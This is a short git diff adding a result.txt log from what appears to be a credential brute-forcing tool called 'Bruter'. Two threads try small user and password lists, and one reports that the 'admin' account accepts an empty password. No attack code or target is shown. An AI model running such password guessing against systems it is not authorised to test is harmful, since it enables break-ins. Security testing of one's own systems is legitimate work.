b/result.txt new file mode 100644 index 0000000..ecd1918 --- /dev/null +++ b/result.txt @@ -0,0 +1,12 @@ + +12:33:17 25.09.2012 - Thread #0, Bruter finished check for +users = ['admin', ..., ''], 5 items, +passwords = ['', ..., 'user'], 4 items. +Actual time worked: 0:00:00.386000 +Suitable credentials: {'admin': ''} + +12:34:28 25.09.2012 - Thread #1, Bruter finished check for +users = ['admin', ..., ''], 5 items, +passwords = ['guest', ..., 'qwerty'], 5 items. +Actual time worked: 0:01:07.565000 +Bruter can't find suitable credentials. |